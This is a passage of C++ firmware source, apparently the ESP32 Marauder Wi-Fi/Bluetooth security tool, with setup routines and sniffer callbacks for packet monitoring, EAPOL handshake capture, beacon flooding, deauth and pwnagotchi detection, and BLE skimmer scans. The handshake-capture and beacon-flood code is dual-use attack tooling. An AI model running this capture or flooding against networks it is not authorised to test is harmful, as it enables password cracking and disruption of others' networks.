  602. display_obj.tft.setFreeFont(NULL);
  603. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  604. display_obj.tft.setTextSize(1);
  605. display_obj.tft.setTextColor(TFT_CYAN);
  606. display_obj.tft.println(text_table4[20]);
  607. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  608. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  609. #endif
  610. if (this->wsl_bypass_enabled) {
  611. #ifdef HAS_SCREEN
  612. display_obj.tft.println(text_table4[23]);
  613. #endif
  614. }
  615. else {
  616. #ifdef HAS_SCREEN
  617. display_obj.tft.println(text_table4[24]);
  618. #endif
  619. }
  620. #ifdef HAS_SCREEN
  621. display_obj.tft.println(text_table4[25] + sta_mac);
  622. display_obj.tft.println(text_table4[26] + ap_mac);
  623. display_obj.tft.println(text_table4[27] + free_ram);
  624. #endif
  625. if (sd_obj.supported) {
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[28]);
  628. display_obj.tft.print(text_table4[29]);
  629. display_obj.tft.print(sd_obj.card_sz);
  630. display_obj.tft.println("MB");
  631. #endif
  632. }
  633. else {
  634. #ifdef HAS_SCREEN
  635. display_obj.tft.println(text_table4[30]);
  636. display_obj.tft.println(text_table4[31]);
  637. #endif
  638. }
  639. battery_obj.battery_level = battery_obj.getBatteryLevel();
  640. if (battery_obj.i2c_supported) {
  641. #ifdef HAS_SCREEN
  642. display_obj.tft.println(text_table4[32]);
  643. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  644. #endif
  645. }
  646. else {
  647. #ifdef HAS_SCREEN
  648. display_obj.tft.println(text_table4[34]);
  649. #endif
  650. }
  651. #ifdef HAS_SCREEN
  652. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  653. #endif
  654. }
  655. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  656. sd_obj.openCapture("espressif");
  657. #ifdef MARAUDER_FLIPPER
  658. flipper_led.sniffLED();
  659. #endif
  660. #ifdef HAS_SCREEN
  661. display_obj.TOP_FIXED_AREA_2 = 48;
  662. display_obj.tteBar = true;
  663. display_obj.print_delay_1 = 15;
  664. display_obj.print_delay_2 = 10;
  665. display_obj.initScrollValues(true);
  666. display_obj.tft.setTextWrap(false);
  667. display_obj.tft.setTextColor(TFT_WHITE, color);
  668. #ifndef MARAUDER_MINI
  669. display_obj.tft.fillRect(0,16,240,16, color);
  670. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  671. display_obj.touchToExit();
  672. #endif
  673. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  674. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  675. #endif
  676. esp_wifi_init(&cfg);
  677. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  678. esp_wifi_set_mode(WIFI_MODE_NULL);
  679. esp_wifi_start();
  680. esp_wifi_set_promiscuous(true);
  681. esp_wifi_set_promiscuous_filter(&filt);
  682. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  683. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  684. this->wifi_initialized = true;
  685. initTime = millis();
  686. }
  687. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  688. {
  689. #ifdef MARAUDER_FLIPPER
  690. flipper_led.sniffLED();
  691. #endif
  692. sd_obj.openCapture("packet_monitor");
  693. #ifndef MARAUDER_MINI
  694. #ifdef HAS_SCREEN
  695. display_obj.tft.init();
  696. display_obj.tft.setRotation(1);
  697. display_obj.tft.fillScreen(TFT_BLACK);
  698. #endif
  699. #ifdef HAS_SCREEN
  700. #ifdef TFT_SHIELD
  701. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  702. Serial.println("Using TFT Shield");
  703. #else if defined(TFT_DIY)
  704. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  705. Serial.println("Using TFT DIY");
  706. #endif
  707. display_obj.tft.setTouch(calData);
  708. //display_obj.tft.setFreeFont(1);
  709. display_obj.tft.setFreeFont(NULL);
  710. display_obj.tft.setTextSize(1);
  711. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  712. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  713. delay(10);
  714. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  715. display_obj.tftDrawColorKey();
  716. display_obj.tftDrawXScaleButtons(x_scale);
  717. display_obj.tftDrawYScaleButtons(y_scale);
  718. display_obj.tftDrawChannelScaleButtons(set_channel);
  719. display_obj.tftDrawExitScaleButtons();
  720. #endif
  721. #else
  722. #ifdef HAS_SCREEN
  723. display_obj.TOP_FIXED_AREA_2 = 48;
  724. display_obj.tteBar = true;
  725. display_obj.print_delay_1 = 15;
  726. display_obj.print_delay_2 = 10;
  727. display_obj.initScrollValues(true);
  728. display_obj.tft.setTextWrap(false);
  729. display_obj.tft.setTextColor(TFT_WHITE, color);
  730. #ifndef MARAUDER_MINI
  731. display_obj.tft.fillRect(0,16,240,16, color);
  732. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  733. display_obj.touchToExit();
  734. #endif
  735. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  736. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  737. #endif
  738. #endif
  739. Serial.println("Running packet scan...");
  740. esp_wifi_init(&cfg);
  741. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  742. esp_wifi_set_mode(WIFI_MODE_NULL);
  743. esp_wifi_start();
  744. esp_wifi_set_promiscuous(true);
  745. esp_wifi_set_promiscuous_filter(&filt);
  746. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  747. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  748. this->wifi_initialized = true;
  749. uint32_t initTime = millis();
  750. }
  751. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  752. {
  753. #ifdef MARAUDER_FLIPPER
  754. flipper_led.sniffLED();
  755. #endif
  756. num_eapol = 0;
  757. #ifndef MARAUDER_MINI
  758. #ifdef HAS_SCREEN
  759. display_obj.tft.init();
  760. display_obj.tft.setRotation(1);
  761. display_obj.tft.fillScreen(TFT_BLACK);
  762. #endif
  763. sd_obj.openCapture("eapol");
  764. #ifdef HAS_SCREEN
  765. #ifdef TFT_SHIELD
  766. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  767. //Serial.println("Using TFT Shield");
  768. #else if defined(TFT_DIY)
  769. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  770. //Serial.println("Using TFT DIY");
  771. #endif
  772. display_obj.tft.setTouch(calData);
  773. display_obj.tft.setFreeFont(NULL);
  774. display_obj.tft.setTextSize(1);
  775. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  776. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  777. delay(10);
  778. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  779. display_obj.tftDrawEapolColorKey();
  780. display_obj.tftDrawChannelScaleButtons(set_channel);
  781. display_obj.tftDrawExitScaleButtons();
  782. #endif
  783. #else
  784. sd_obj.openCapture("eapol");
  785. #ifdef HAS_SCREEN
  786. display_obj.TOP_FIXED_AREA_2 = 48;
  787. display_obj.tteBar = true;
  788. display_obj.print_delay_1 = 15;
  789. display_obj.print_delay_2 = 10;
  790. display_obj.initScrollValues(true);
  791. display_obj.tft.setTextWrap(false);
  792. display_obj.tft.setTextColor(TFT_WHITE, color);
  793. #ifndef MARAUDER_MINI
  794. display_obj.tft.fillRect(0,16,240,16, color);
  795. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  796. display_obj.touchToExit();
  797. #endif
  798. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  799. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  800. #endif
  801. #endif
  802. esp_wifi_init(&cfg);
  803. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  804. esp_wifi_set_mode(WIFI_MODE_AP);
  805. esp_err_t err;
  806. wifi_config_t conf;
  807. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  808. if (err != 0)
  809. {
  810. Serial.print("could not set protocol : err=0x");
  811. Serial.println(err, HEX);
  812. }
  813. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  814. conf.ap.ssid[0] = '\0';
  815. conf.ap.ssid_len = 0;
  816. conf.ap.channel = this->set_channel;
  817. conf.ap.ssid_hidden = 1;
  818. conf.ap.max_connection = 0;
  819. conf.ap.beacon_interval = 60000;
  820. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  821. if (err != 0)
  822. {
  823. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  824. Serial.println(err, HEX);
  825. }
  826. esp_wifi_start();
  827. esp_wifi_set_promiscuous(true);
  828. esp_wifi_set_promiscuous_filter(&filt);
  829. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  830. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  831. else
  832. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  833. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  834. this->wifi_initialized = true;
  835. initTime = millis();
  836. }
  837. // Function to prepare for beacon mimic
  838. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  839. #ifdef HAS_SCREEN
  840. display_obj.TOP_FIXED_AREA_2 = 48;
  841. display_obj.tteBar = true;
  842. display_obj.print_delay_1 = 15;
  843. display_obj.print_delay_2 = 10;
  844. display_obj.initScrollValues(true);
  845. display_obj.tft.setTextWrap(false);
  846. display_obj.tft.setTextColor(TFT_BLACK, color);
  847. #ifndef MARAUDER_MINI
  848. display_obj.tft.fillRect(0,16,240,16, color);
  849. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  850. display_obj.touchToExit();
  851. #endif
  852. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  853. #endif
  854. packets_sent = 0;
  855. esp_wifi_init(&cfg);
  856. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  857. esp_wifi_set_mode(WIFI_AP_STA);
  858. esp_wifi_start();
  859. esp_wifi_set_promiscuous_filter(NULL);
  860. esp_wifi_set_promiscuous(true);
  861. esp_wifi_set_max_tx_power(78);
  862. this->wifi_initialized = true;
  863. initTime = millis();
  864. }
  865. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  866. {
  867. sd_obj.openCapture("pwnagotchi");
  868. #ifdef MARAUDER_FLIPPER
  869. flipper_led.sniffLED();
  870. #endif
  871. #ifdef HAS_SCREEN
  872. display_obj.TOP_FIXED_AREA_2 = 48;
  873. display_obj.tteBar = true;
  874. display_obj.print_delay_1 = 15;
  875. display_obj.print_delay_2 = 10;
  876. display_obj.initScrollValues(true);
  877. display_obj.tft.setTextWrap(false);
  878. display_obj.tft.setTextColor(TFT_WHITE, color);
  879. #ifndef MARAUDER_MINI
  880. display_obj.tft.fillRect(0,16,240,16, color);
  881. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  882. display_obj.touchToExit();
  883. #endif
  884. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  885. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  886. #endif
  887. esp_wifi_init(&cfg);
  888. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  889. esp_wifi_set_mode(WIFI_MODE_NULL);
  890. esp_wifi_start();
  891. esp_wifi_set_promiscuous(true);
  892. esp_wifi_set_promiscuous_filter(&filt);
  893. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  894. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  895. this->wifi_initialized = true;
  896. initTime = millis();
  897. }
  898. // Function to start running a beacon scan
  899. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  900. {
  901. sd_obj.openCapture("beacon");
  902. #ifdef MARAUDER_FLIPPER
  903. flipper_led.sniffLED();
  904. #endif
  905. #ifdef HAS_SCREEN
  906. display_obj.TOP_FIXED_AREA_2 = 48;
  907. display_obj.tteBar = true;
  908. display_obj.print_delay_1 = 15;
  909. display_obj.print_delay_2 = 10;
  910. display_obj.initScrollValues(true);
  911. display_obj.tft.setTextWrap(false);
  912. display_obj.tft.setTextColor(TFT_WHITE, color);
  913. #ifndef MARAUDER_MINI
  914. display_obj.tft.fillRect(0,16,240,16, color);
  915. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  916. display_obj.touchToExit();
  917. #endif
  918. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  919. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  920. #endif
  921. esp_wifi_init(&cfg);
  922. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  923. esp_wifi_set_mode(WIFI_MODE_NULL);
  924. esp_wifi_start();
  925. esp_wifi_set_promiscuous(true);
  926. esp_wifi_set_promiscuous_filter(&filt);
  927. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  928. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  929. this->wifi_initialized = true;
  930. initTime = millis();
  931. }
  932. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  933. {
  934. sd_obj.openCapture("deauth");
  935. #ifdef MARAUDER_FLIPPER
  936. flipper_led.sniffLED();
  937. #endif
  938. #ifdef HAS_SCREEN
  939. display_obj.TOP_FIXED_AREA_2 = 48;
  940. display_obj.tteBar = true;
  941. display_obj.print_delay_1 = 15;
  942. display_obj.print_delay_2 = 10;
  943. display_obj.initScrollValues(true);
  944. display_obj.tft.setTextWrap(false);
  945. display_obj.tft.setTextColor(TFT_BLACK, color);
  946. #ifndef MARAUDER_MINI
  947. display_obj.tft.fillRect(0,16,240,16, color);
  948. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  949. display_obj.touchToExit();
  950. #endif
  951. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  952. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  953. #endif
  954. esp_wifi_init(&cfg);
  955. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  956. esp_wifi_set_mode(WIFI_MODE_NULL);
  957. esp_wifi_start();
  958. esp_wifi_set_promiscuous(true);
  959. esp_wifi_set_promiscuous_filter(&filt);
  960. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  961. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  962. this->wifi_initialized = true;
  963. initTime = millis();
  964. }
  965. // Function for running probe request scan
  966. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  967. {
  968. sd_obj.openCapture("probe");
  969. #ifdef MARAUDER_FLIPPER
  970. flipper_led.sniffLED();
  971. #endif
  972. #ifdef HAS_SCREEN
  973. display_obj.TOP_FIXED_AREA_2 = 48;
  974. display_obj.tteBar = true;
  975. display_obj.print_delay_1 = 15;
  976. display_obj.print_delay_2 = 10;
  977. display_obj.initScrollValues(true);
  978. display_obj.tft.setTextWrap(false);
  979. display_obj.tft.setTextColor(TFT_BLACK, color);
  980. #ifndef MARAUDER_MINI
  981. display_obj.tft.fillRect(0,16,240,16, color);
  982. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  983. display_obj.touchToExit();
  984. #endif
  985. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  986. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  987. #endif
  988. esp_wifi_init(&cfg);
  989. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  990. esp_wifi_set_mode(WIFI_MODE_NULL);
  991. esp_wifi_start();
  992. esp_wifi_set_promiscuous(true);
  993. esp_wifi_set_promiscuous_filter(&filt);
  994. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  995. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  996. this->wifi_initialized = true;
  997. initTime = millis();
  998. }
  999. // Function to start running any BLE scan
  1000. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1001. {
  1002. #ifdef HAS_BT
  1003. #ifdef HAS_SCREEN
  1004. display_obj.print_delay_1 = 50;
  1005. display_obj.print_delay_2 = 20;
  1006. #endif
  1007. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1008. NimBLEDevice::setScanDuplicateCacheSize(200);
  1009. NimBLEDevice::init("");
  1010. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1011. if (scan_mode == BT_SCAN_ALL)
  1012. {
  1013. #ifdef HAS_SCREEN
  1014. display_obj.TOP_FIXED_AREA_2 = 48;
  1015. display_obj.tteBar = true;
  1016. display_obj.initScrollValues(true);
  1017. display_obj.tft.setTextWrap(false);
  1018. display_obj.tft.setTextColor(TFT_BLACK, color);
  1019. #ifndef MARAUDER_MINI
  1020. display_obj.tft.fillRect(0,16,240,16, color);
  1021. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1022. display_obj.touchToExit();
  1023. #endif
  1024. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1025. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1026. #endif
  1027. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1028. }
  1029. else if (scan_mode == BT_SCAN_SKIMMERS)
  1030. {
  1031. #ifdef HAS_SCREEN
  1032. display_obj.TOP_FIXED_AREA_2 = 160;
  1033. display_obj.tteBar = true;
  1034. display_obj.tft.fillScreen(TFT_DARKGREY);
  1035. display_obj.initScrollValues(true);
  1036. display_obj.tft.setTextWrap(false);
  1037. display_obj.tft.setTextColor(TFT_BLACK, color);
  1038. display_obj.tft.fillRect(0,16,240,16, color);
  1039. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1040. display_obj.twoPartDisplay(text_table4[43]);
  1041. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1042. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1043. #endif
  1044. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1045. }
  1046. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1047. pBLEScan->setInterval(97);
  1048. pBLEScan->setWindow(37); // less or equal setInterval value
  1049. pBLEScan->setMaxResults(0);
  1050. pBLEScan->start(0, scanCompleteCB, false);
  1051. Serial.println("Started BLE Scan");
  1052. this->ble_initialized = true;
  1053. initTime = millis();
  1054. #endif
  1055. }
  1056. // Function that is called when BLE scan is completed
  1057. #ifdef HAS_BT
  1058. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1059. printf("Scan complete!\n");
  1060. printf("Found %d devices\n", scanResults.getCount());
  1061. scanResults.dump();
  1062. } // scanCompleteCB
  1063. #endif
  1064. // Function to extract MAC addr from a packet at given offset
  1065. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1066. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1067. }
  1068. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1069. {
  1070. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1071. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1072. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1073. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1074. int len = snifferPacket->rx_ctrl.sig_len;
  1075. String display_string = "";
  1076. String src_addr_string = "";
  1077. if (type == WIFI_PKT_MGMT)
  1078. {
  1079. len -= 4;
  1080. }
  1081. int fctl = ntohs(frameControl->fctl);
  1082. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1083. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1084. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1085. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1086. //{
  1087. char addr[] = "00:00:00:00:00:00";
  1088. getMAC(addr, snifferPacket->payload, 10);
  1089. src_addr_string.concat(addr);
  1090. bool match = false;
  1091. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1092. if (src_addr_string.startsWith(espressif_macs[i])) {
  1093. match = true;
  1094. break;
  1095. }
  1096. }
  1097. if (!match)
  1098. return;
  1099. delay(random(0, 10));
  1100. Serial.print("RSSI: ");
  1101. Serial.print(snifferPacket->rx_ctrl.rssi);
  1102. Serial.print(" Ch: ");
  1103. Serial.print(snifferPacket->rx_ctrl.channel);
  1104. Serial.print(" BSSID: ");
  1105. Serial.print(addr);
  1106. //display_string.concat(" RSSI: ");
  1107. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1108. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1109. //display_string.concat(" ");
  1110. display_string.concat(" -> ");
  1111. display_string.concat(addr);
  1112. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1113. {
  1114. display_string.concat(" ");
  1115. }
  1116. Serial.print(" ");
  1117. #ifdef HAS_SCREEN
  1118. display_obj.loading = true;
  1119. display_obj.display_buffer->add(display_string);
  1120. display_obj.loading = false;
  1121. #endif
  1122. Serial.println();
  1123. if (save_packet)
  1124. sd_obj.addPacket(snifferPacket->payload, len);
  1125. //}
  1126. }
  1127. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1128. {
  1129. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1130. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1131. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1132. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1133. int len = snifferPacket->rx_ctrl.sig_len;
  1134. String display_string = "";
  1135. String src = "";
  1136. String essid = "";
  1137. if (type == WIFI_PKT_MGMT)
  1138. {
  1139. len -= 4;
  1140. int fctl = ntohs(frameControl->fctl);
  1141. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1142. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1143. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1144. #ifdef HAS_SCREEN
  1145. int buf = display_obj.display_buffer->size();
  1146. #else
  1147. int buf = 0;
  1148. #endif
  1149. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1150. {
  1151. char addr[] = "00:00:00:00:00:00";
  1152. getMAC(addr, snifferPacket->payload, 10);
  1153. src.concat(addr);
  1154. if (src == "de:ad:be:ef:de:ad") {
  1155. delay(random(0, 10));
  1156. Serial.print("RSSI: ");
  1157. Serial.print(snifferPacket->rx_ctrl.rssi);
  1158. Serial.print(" Ch: ");
  1159. Serial.print(snifferPacket->rx_ctrl.channel);
  1160. Serial.print(" BSSID: ");
  1161. Serial.print(addr);
  1162. //display_string.concat(addr);
  1163. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1164. Serial.print(" ESSID: ");
  1165. display_string.concat(" -> ");
  1166. // Just grab the first 255 bytes of the pwnagotchi beacon
  1167. // because that is where the name is
  1168. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1169. for (int i = 0; i < len - 37; i++)
  1170. {
  1171. Serial.print((char)snifferPacket->payload[i + 38]);
  1172. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1173. if (isAscii(snifferPacket->payload[i + 38]))
  1174. essid.concat((char)snifferPacket->payload[i + 38]);
  1175. else
  1176. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1177. }
  1178. //essid.concat("\": \"\"}}");
  1179. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1180. // Load json
  1181. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1182. DynamicJsonDocument json(1024); // ArduinoJson v6
  1183. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1184. // ArduinoJson v6
  1185. if (deserializeJson(json, essid)) {
  1186. Serial.println("\nCould not parse Pwnagotchi json");
  1187. display_string.concat(essid);
  1188. }
  1189. else {
  1190. Serial.println("\nSuccessfully parsed json");
  1191. String json_output;
  1192. //json.printTo(json_output); // ArduinoJson v5
  1193. serializeJson(json, json_output); // ArduinoJson v6
  1194. Serial.println(json_output);
  1195. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1196. }
  1197. int temp_len = display_string.length();
  1198. for (int i = 0; i < 40 - temp_len; i++)
  1199. {
  1200. display_string.concat(" ");
  1201. }
  1202. Serial.print(" ");
  1203. #ifdef HAS_SCREEN
  1204. if (display_obj.display_buffer->size() == 0)
  1205. {
  1206. display_obj.loading = true;
  1207. display_obj.display_buffer->add(display_string);
  1208. display_obj.loading = false;
  1209. }
  1210. #endif
  1211. Serial.println();
  1212. if (save_packet)
  1213. sd_obj.addPacket(snifferPacket->payload, len);
  1214. }
  1215. }
  1216. }
  1217. }
  1218. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1219. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1220. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1221. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1222. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1223. int len = snifferPacket->rx_ctrl.sig_len;
  1224. String display_string = "";
  1225. String essid = "";
  1226. String bssid = "";
  1227. if (type == WIFI_PKT_MGMT)
  1228. {
  1229. len -= 4;
  1230. int fctl = ntohs(frameControl->fctl);
  1231. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1232. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1233. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1234. #ifdef HAS_SCREEN
  1235. int buf = display_obj.display_buffer->size();
  1236. #else
  1237. int buf = 0;
  1238. #endif
  1239. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1240. {
  1241. char addr[] = "00:00:00:00:00:00";
  1242. getMAC(addr, snifferPacket->payload, 10);
  1243. bool in_list = false;
  1244. bool mac_match = true;
  1245. for (int i = 0; i < access_points->size(); i++) {
  1246. mac_match = true;
  1247. //Serial.print("Checking ");
  1248. //Serial.print(addr);
  1249. //Serial.println(" against " + (String)access_points->get(i).essid);
  1250. for (int x = 0; x < 6; x++) {
  1251. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1252. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1253. mac_match = false;
  1254. //Serial.println("MACs do not match");
  1255. break;
  1256. }
  1257. }
  1258. if (mac_match) {
  1259. in_list = true;
  1260. break;
  1261. }
  1262. }
  1263. if (!in_list) {
  1264. delay(random(0, 10));
  1265. Serial.print("RSSI: ");
  1266. Serial.print(snifferPacket->rx_ctrl.rssi);
  1267. Serial.print(" Ch: ");
  1268. Serial.print(snifferPacket->rx_ctrl.channel);
  1269. Serial.print(" BSSID: ");
  1270. Serial.print(addr);
  1271. display_string.concat(addr);
  1272. Serial.print(" ESSID: ");
  1273. display_string.concat(" -> ");
  1274. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1275. {
  1276. Serial.print((char)snifferPacket->payload[i + 38]);
  1277. display_string.concat((char)snifferPacket->payload[i + 38]);
  1278. essid.concat((char)snifferPacket->payload[i + 38]);
  1279. }
  1280. bssid.concat(addr);
  1281. int temp_len = display_string.length();
  1282. for (int i = 0; i < 40 - temp_len; i++)
  1283. {
  1284. display_string.concat(" ");
  1285. }
  1286. Serial.print(" ");
  1287. #ifdef HAS_SCREEN
  1288. if (display_obj.display_buffer->size() == 0)
  1289. {
  1290. display_obj.loading = true;
  1291. display_obj.display_buffer->add(display_string);
  1292. display_obj.loading = false;
  1293. }
  1294. #endif
  1295. if (essid == "") {
  1296. essid = bssid;
  1297. Serial.print(essid + " ");
  1298. }
  1299. //LinkedList<char> beacon = new LinkedList<char>();
  1300. /*AccessPoint ap = {essid,
  1301. snifferPacket->rx_ctrl.channel,
  1302. {snifferPacket->payload[10],
  1303. snifferPacket->payload[11],
  1304. snifferPacket->payload[12],
  1305. snifferPacket->payload[13],
  1306. snifferPacket->payload[14],
  1307. snifferPacket->payload[15]},
  1308. false,
  1309. NULL};*/
  1310. AccessPoint ap;
  1311. ap.essid = essid;
  1312. ap.channel = snifferPacket->rx_ctrl.channel;
  1313. ap.bssid[0] = snifferPacket->payload[10];
